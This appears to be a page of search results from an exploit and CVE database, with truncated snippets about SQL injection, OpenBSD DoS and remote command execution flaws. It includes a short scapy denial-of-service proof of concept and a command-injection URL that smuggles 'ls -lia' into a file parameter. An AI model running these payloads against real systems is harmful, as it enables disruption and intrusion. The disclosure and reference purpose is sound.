625 matches found
BigForum 4.5 - SQL Injection
BigForum 4.5 - SQL Injection !/usr/bin/perl use LWP::Simple; print "\n"; print "\n"; print " BigForum Version: 4.5 SQL INJECTION \n"; print " Author: Ctacok Russian \n"; print " Blog : www.Ctacok.ru \n"; print " Special for Antichat forum.antichat.ru and xakep.ru \n"; print " Require : Magicquote...
CVE-2009-0687
The pftestrule function in OpenBSD Packet Filter PF, as used in OpenBSD 4.2 through 4.5, NetBSD 5.0 before RC3, MirOS 10 and earlier, and MidnightBSD 0.3-current allows remote attackers to cause a denial of service panic via crafted IP packets that trigger a NULL pointer dereference during...
CVE-2009-0689
Array index error in the 1 dtoa implementation in dtoa.c aka pdtoa.c and the 2 gdtoa aka new dtoa implementation in gdtoa/misc.c in libc, as used in multiple operating systems and products including in FreeBSD 6.4 and 7.2, NetBSD 5.0, OpenBSD 4.5, Mozilla Firefox 3.0.x before 3.0.15 and 3.5.x...
Oblog多用户博客程序strMonth变量过滤不严导致SQL注入漏洞
文件In/ClassUserCommand.asp : 1. strMonth=Request"month" //第63行 2. 3. strDay=Request"day" 4. 5. …… 6. 7. Case "month" //第84行 8. 9. Dim LastDay 10. 11. GPFileName = GPFileName & "month&month=" & strMonth 12. 13. strDay=LeftstrMonth,4 & "-" & RightstrMonth,2 & "-01" 14. 15. mYear=LeftstrMonth,4 16. 1...
HP-UX Update for Apache HPSBUX00224
Check for the Version of Apache OpenVAS Vulnerability Test HP-UX Update for Apache HPSBUX00224 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of t...
OpenBSD 4.5 Denial Of Service
/ / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author : Rembrandt Date : 2009-04-09 Affected Software: OpenBSD Kernel Affected OS : OpenBSD 4.3,4,5,...
OpenBSD <= 4.5 IP datagram Null Pointer Deref DoS Exploit
Exploit for openbsd platform in category dos / poc ========================================================= OpenBSD = 4.5 IP datagram Null Pointer Deref DoS Exploit ========================================================= import sys from scapy import victim=sys.argv1 icmpv6=58 p=IPdst=victim...
OpenBSD 4.5 - IP datagram Null Pointer Deref Denial of Service
import sys from scapy import victim=sys.argv1 icmpv6=58 p=IPdst=victim p.proto=icmpv6 srp,timeout=1 milw0rm.com 2009-04-14...
OpenBSD <= 4.5 IP datagram Null Pointer Deref DoS Exploit
No description provided by source. import sys from scapy import victim=sys.argv1 icmpv6=58 p=IPdst=victim p.proto=icmpv6 srp,timeout=1 milw0rm.com 2009-04-14...
OpenBSD 4.5 - IP datagrams Remote Denial of Service
/ / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author : Rembrandt Date : 2009-04-09 Affected Software: OpenBSD Kernel Affected OS : OpenBSD 4.3,4,5,...
CVE-2008-2381
SQL injection vulnerability in the create function in common/include/GroupJoinRequest.class in GForge 4.5 and 4.6 allows remote attackers to execute arbitrary SQL commands via the comments variable...
CVE-2008-2381
SQL injection vulnerability in the create function in common/include/GroupJoinRequest.class in GForge 4.5 and 4.6 allows remote attackers to execute arbitrary SQL commands via the comments variable...
CVE-2008-2381
CVE-2008-2381 describes an SQL injection in GForge’s GroupJoinRequest.class create() function (common/include/GroupJoinRequest.class) affecting GForge 4.5 and 4.6. The vulnerability allows a remote attacker to inject SQL via the comments variable, enabling arbitrary SQL execution. Public referenc...
No-IP DUC 2.1.7 - Remote Code Execution
No-IP DUC 2.1.7 - Remote Code Execution / | |/ / / |/ / / / | / / / / /|/ / / / / / / / / / / / / // / / / / // / // // / //|// //// //,//,/ xenomuta arroba phreaker punto net http://xenomuta.tuxfamily.org/ - Methylxantina 256mg Permlink: http://xenomuta.tuxfamily.org/exploits/noIPwn3r.c...
Sepal SPBOARD 4.5 - board.cgi Remote Command Execution
Sepal SPBOARD 4.5 - board.cgi Remote Command Execution | | | \ \ \ / / / \ / | / | / | | | | | | \ V / / \ | | | | | | | | | http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|ls -lia|&action=downfile |---...
Sepal SPBOARD 4.5 (board.cgi) Remote Command Exec Vulnerability
Exploit for cgi platform in category web applications =============================================================== Sepal SPBOARD 4.5 board.cgi Remote Command Exec Vulnerability =============================================================== Sepal's SPBOARD v4.5 board.cgi Remote Command Executi...
Oblog多用户博客程序Api/API_Response.asp页面过滤不严导致SQL注入漏洞
OBlog是国内多用户博客使用度最多最广的多用户博客解决方案。 漏洞文件:api/APIResponse.asp 打开api/APIResponse.asp看开头处=================省略部分代码============================ if request.querystring"syskey""" then syskey=lcaserequest.querystring"syskey" username=oblog.filtbadstrtrimrequest"username" if chksyskey then dim truepassword...
CVE-2008-4202
SQL injection vulnerability in index.php in Gonafish LinksCaffePRO 4.5 allows remote attackers to execute arbitrary SQL commands via the idd parameter in a deadlink action...
CVE-2008-4202
Affected software: Gonafish LinksCaffePRO 4.5. The CVE-2008-4202 vulnerability is an SQL injection in index.php via the idd parameter in a deadlink action. Root cause: improper handling of user-supplied input leading to arbitrary SQL execution. Impact: remote attacker could manipulate the databas...